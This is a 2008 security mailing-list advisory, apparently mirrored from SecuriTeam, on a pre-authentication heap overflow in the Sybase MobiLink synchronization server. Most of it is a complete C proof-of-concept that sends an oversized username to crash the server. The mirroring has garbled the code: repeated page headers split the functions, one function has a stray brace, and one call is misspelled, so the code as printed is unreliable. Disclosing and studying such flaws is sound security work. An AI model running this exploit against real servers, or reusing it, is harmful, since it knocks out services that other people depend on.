

[NT] Sybase MobiLink Heap Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-02/msg00086.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 26 Feb 2008 15:59:17 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Sybase MobiLink Heap Overflow

SUMMARY

<<http://www.sybase.com/developer/mobile/sqlanywhere/mobilink>> MobiLink is "a centralized synchronization server for mobile platforms included in the Sybase SQL Anywhere package". A vulnerability in the MobiLink's product allows attackers to cause the product to crash by supplying it with malformed data.

DETAILS

Vulnerable Systems:

- * Sybase MobiLink version 10.0.1.3629

The MobiLink server is affected by a heap overflow which happens during the handling of some strings like username, version and remote ID (all pre-auth) when have a lenght major than 128 bytes.

Exploit:

/*

by Luigi Auriemma – <http://aluigi.org/poc/mobilinkhof.zip>

[NT] Sybase MobiLink Heap Overflow

```
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1

#endif

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;

#define VER "0.1"
#define PORT 2439
#define BUFFSZ 0xffff
#define BOFSZ 500

int ml_send(int sd, int type, u8 *buff, int len);
int ml_recv(int sd, u8 *buff);
int tcp_recv(int sd, u8 *buff, int len);
int putsn(u8 *data, u8 *str, int bits);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
```

[NT] Sybase MobiLink Heap Overflow

```
int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
    len;
    u16 port = PORT;
    u8 *buff,
    *p;

    #ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(1,0), &wsadata);
    #endif

    setbuf(stdout, NULL);

    fputs("\n"
    "Sybase MobiLink <= 10.0.1.3629 heap overflow "VER"\n"
    "by Luigi Auriemma\n"
    "e-mail: aluigi@xxxxxxxxxxxxxx\n"
    "web: aluigi.org\n"
    "\n", stdout);

    if(argc < 2) {
        printf("\n"
        "Usage: %s <host> [port]\n"
        "\n", argv[0]);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
    ntohs(peer.sin_port));

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
    < 0) std_err();

    p = buff;
    p += putxx(p, 1, 16);
    p += putxx(p, -4, 32);
    p += putsn(p, "MobiLink Monitor", 8); // request from
    p += putxx(p, 1, 8); // protocol version
```

[NT] Sybase MobiLink Heap Overflow

```
printf("-- send init packet\n");
if(ml_send(sd, 1, buff, p - buff) < 0) goto quit;

p = buff;
p += putxx(p, BOFSZ, 16); // username (watch
0042ea30)
p += putcc(p, 'A', BOFSZ);
p += putsn(p, "for_ML_Monitor_only", 16); // version
p += putsn(p, "", 16); // remote ID
p += putsn(p, "00000000000", 16);

printf("-- send malformed login packet\n");
if(ml_send(sd, 0x22, buff, p - buff) < 0) goto quit;
len = ml_recv(sd, buff);
//if(len < 0) printf("-- server is probable crashed\n");

close(sd);
free(buff);
printf("-- done\n");
return(0);
quit:
close(sd);
free(buff);
printf("\nError: connection interrupted or timed out\n");
return(1);
}
```

```
int ml_send(int sd, int type, u8 *buff, int len) {
u8 tmp[7];
static u16 seq = 1;

putxx(tmp, len + 5, 16);
putxx(tmp + 2, seq++, 16);
putxx(tmp + 4, 3, 8);
putxx(tmp + 5, type, 16);
if(send(sd, tmp, 7, 0) != 7) return(-1);
if(len) {
if(send(sd, buff, len, 0) != len) return(-1);
}
return(0);
}
```

```
int ml_recv(int sd, u8 *buff) {
u32 len;
u8 tmp[7];

if(tcp_recv(sd, tmp, 7) < 0) return(-1);
```

[NT] Sybase MobiLink Heap Overflow

```
getxx(tmp, &len, 16);
if(len < 5) return(-1);
if(tcp_recv(sd, buff, 5) < 0) return(-1);
if(tcp_recv(sd, buff, len - 5) < 0) return(-1);
return(len);
}
```

```
int tcp_recv(int sd, u8 *buff, int len) {
int t;
u8 *p;

for(p = buff; len; p += t, len -= t) {
if(timeout(sd, 3) < 0) return(-1);
t = recv(sd, p, len, 0);
if(t <= 0) return(-1);
}
return(0);
}
```

```
int putsn(u8 *data, u8 *str, int bits) {
int len,
blen;

len = strlen(str);
blen = putxx(data, len, bits);
memcpy(data + blen, str, len);
return(blen + len);
}
```

```
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
```

```
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;

bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
}
```

[NT] Sybase MobiLink Heap Overflow

```
*ret = num;
return(bytes);
}
```

```
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;

bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> (i << 3)) & 0xff;
}
return(bytes);
}
```

```
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;

tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
```

```
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
```

[NT] Sybase MobiLink Heap Overflow

```
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@xxxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/mobilinkhof-adv.txt>>
<http://aluigi.altervista.org/adv/mobilinkhof-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.